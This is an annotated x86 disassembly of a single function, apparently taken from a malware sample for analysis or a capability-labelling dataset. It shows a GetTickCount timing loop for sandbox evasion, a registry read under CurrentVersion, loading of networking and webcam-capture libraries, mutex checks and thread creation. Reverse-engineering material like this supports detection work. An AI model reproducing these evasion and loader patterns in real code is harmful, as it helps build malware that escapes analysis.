Function at 0x1315d4b0
Capabilities:
Check for time delay via gettickcount
Check mutex on windows
Create thread
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x64c
mov eax, dword [0x131e90f0]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
push edi
call esi
mov ecx, eax
mov edi, 0x15180
mov eax, 0x10624dd3
mov ebx, 0xe10
mul ecx
shr edx, 6
mov eax, edx
xor edx, edx
div edi
mov eax, edx
xor edx, edx
div ebx
cmp edx, 0x78
jae 0x1315d51f
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
call esi
mov ecx, eax
mov eax, 0x10624dd3
mul ecx
shr edx, 6
mov eax, edx
xor edx, edx
div edi
mov eax, edx
xor edx, edx
div ebx
cmp edx, 0x78
jb 0x1315d4f5
call fcn.1315bfd0
call fcn.131521e0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
lea eax, [ebp - 0x18]
push 0x131da720
push eax
call fcn.13141a40
push 0x200
lea eax, [ebp - 0x22c]
push 0
push eax
call fcn.1319ba80
add esp, 0x18
mov dword [ebp - 0x64c], 0x200
lea eax, [ebp - 0x648]
push eax
push str.SOFTWAREMicrosoftWindowsCurrentVersion
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
je 0x1315d580
mov ecx, 0x131da42a
jmp 0x1315d5b2
lea eax, [ebp - 0x64c]
push eax
lea eax, [ebp - 0x42c]
push eax
push 0
push 0
lea eax, [ebp - 0x18]
push eax
push dword [ebp - 0x648]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
lea ecx, [ebp - 0x42c]
mov edx, 0x131da42a
cmovne ecx, edx
lea edx, [ebp - 0x22c]
sub edx, ecx
nop word [eax + eax]
mov al, byte [ecx]
lea ecx, [ecx + 1]
mov byte [edx + ecx - 1], al
test al, al
jne 0x1315d5c0
lea ecx, [ebp - 0x22c]
call fcn.13141c50
lea edx, [ebp - 0x62c]
sub edx, eax
mov cl, byte [eax]
lea eax, [eax + 1]
mov byte [edx + eax - 1], cl
test cl, cl
jne 0x1315d5e0
lea eax, [ebp - 0x62c]
push 0x131db4dc
push eax
call fcn.131a40f9
add esp, 8
mov dword [ebp - 0x644], eax
test eax, eax
je 0x1315d866
mov esi, 1
push 0x131db4dc
push 0
call fcn.131a40f9
mov dword [ebp + esi*4 - 0x644], eax
add esp, 8
inc esi
cmp esi, 3
jb 0x1315d614
mov ecx, dword [ebp - 0x644]
mov edx, 0x13c25220
sub edx, ecx
nop dword [eax]
mov al, byte [ecx]
lea ecx, [ecx + 1]
mov byte [edx + ecx - 1], al
test al, al
jne 0x1315d640
mov edi, dword [ebp - 0x640]
mov ecx, edi
mov al, byte [ecx]
lea ecx, [ecx + 1]
test al, al
jne 0x1315d655
mov ecx, dword [ebp - 0x63c]
mov edx, 0x131fc2a0
sub edx, ecx
nop dword [eax + eax]
mov al, byte [ecx]
lea ecx, [ecx + 1]
mov byte [edx + ecx - 1], al
test al, al
jne 0x1315d670
mov ax, word [0x131db4e8]
mov ecx, edi
movq xmm0, qword [str.DERERRERER]
mov word [0x131fc4a8], ax
mov al, byte [0x131db4ea]
mov byte [0x131fc4aa], al
mov eax, 0x131da780
movq qword [0x131fc4a0], xmm0
nop word [eax + eax]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x1315d6d0
test dl, dl
je 0x1315d6cc
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x1315d6d0
add eax, 2
add ecx, 2
test dl, dl
jne 0x1315d6b0
xor eax, eax
jmp 0x1315d6d5
sbb eax, eax
or eax, 1
test eax, eax
je 0x1315d87e
mov ecx, edi
mov eax, 0x131da79c
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x1315d704
test dl, dl
je 0x1315d700
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x1315d704
add eax, 2
add ecx, 2
test dl, dl
jne 0x1315d6e4
xor eax, eax
jmp 0x1315d709
sbb eax, eax
or eax, 1
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
jne 0x1315d7bb
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.Kernel32.dll
call esi
push str.urlmon.dll
call esi
push str.msvcrt.dll
call esi
push str.user32.dll
call esi
push str.shell32.dll
call esi
push str.avicap32.dll
call esi
push str.ws2_32.dll
call esi
push str.wsock32.dll
call esi
push str.advapi32.dll
call esi
push str.wininet.dll
call esi
push 0x9c40
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [sym.imp.KERNEL32.dll_CreateMutexA]
push 0x13c24e68
push 1
push 0
call eax
mov esi, eax
push 0x3e8
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0x102
je 0x1315d7b8
lea eax, [ebp - 0x648]
push eax
push 0
push 0
push 0x1314a6f0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0x2bf20
call dword [sym.imp.KERNEL32.dll_Sleep]
push esi
call ebx
mov ecx, edi
mov eax, 0x131da798
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x1315d7e2
test dl, dl
je 0x1315d7de
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x1315d7e2
add eax, 2
add ecx, 2
test dl, dl
jne 0x1315d7c2
xor eax, eax
jmp 0x1315d7e7
sbb eax, eax
or eax, 1
test eax, eax
jne 0x1315d811
push 0x13c25700
push 1
push eax
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov esi, eax
push 0x3e8
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0x102
jne 0x1315d883
push esi
call ebx
mov eax, 0x131daaf0
mov cl, byte [eax]
cmp cl, byte [edi]
jne 0x1315d836
test cl, cl
je 0x1315d832
mov cl, byte [eax + 1]
cmp cl, byte [edi + 1]
jne 0x1315d836
add eax, 2
add edi, 2
test cl, cl
jne 0x1315d816
xor eax, eax
jmp 0x1315d83b
sbb eax, eax
or eax, 1
test eax, eax
jne 0x1315d866
push 0x131fb650
push 1
push eax
mov eax, dword [sym.imp.KERNEL32.dll_CreateMutexA]
call eax
mov esi, eax
push 0x3e8
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0x102
jne 0x1315d879
push esi
call ebx
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.13198da3
mov esp, ebp
pop ebp
ret 0x10
call fcn.1314d5e0
call fcn.1315cee0
call fcn.1315d260
int3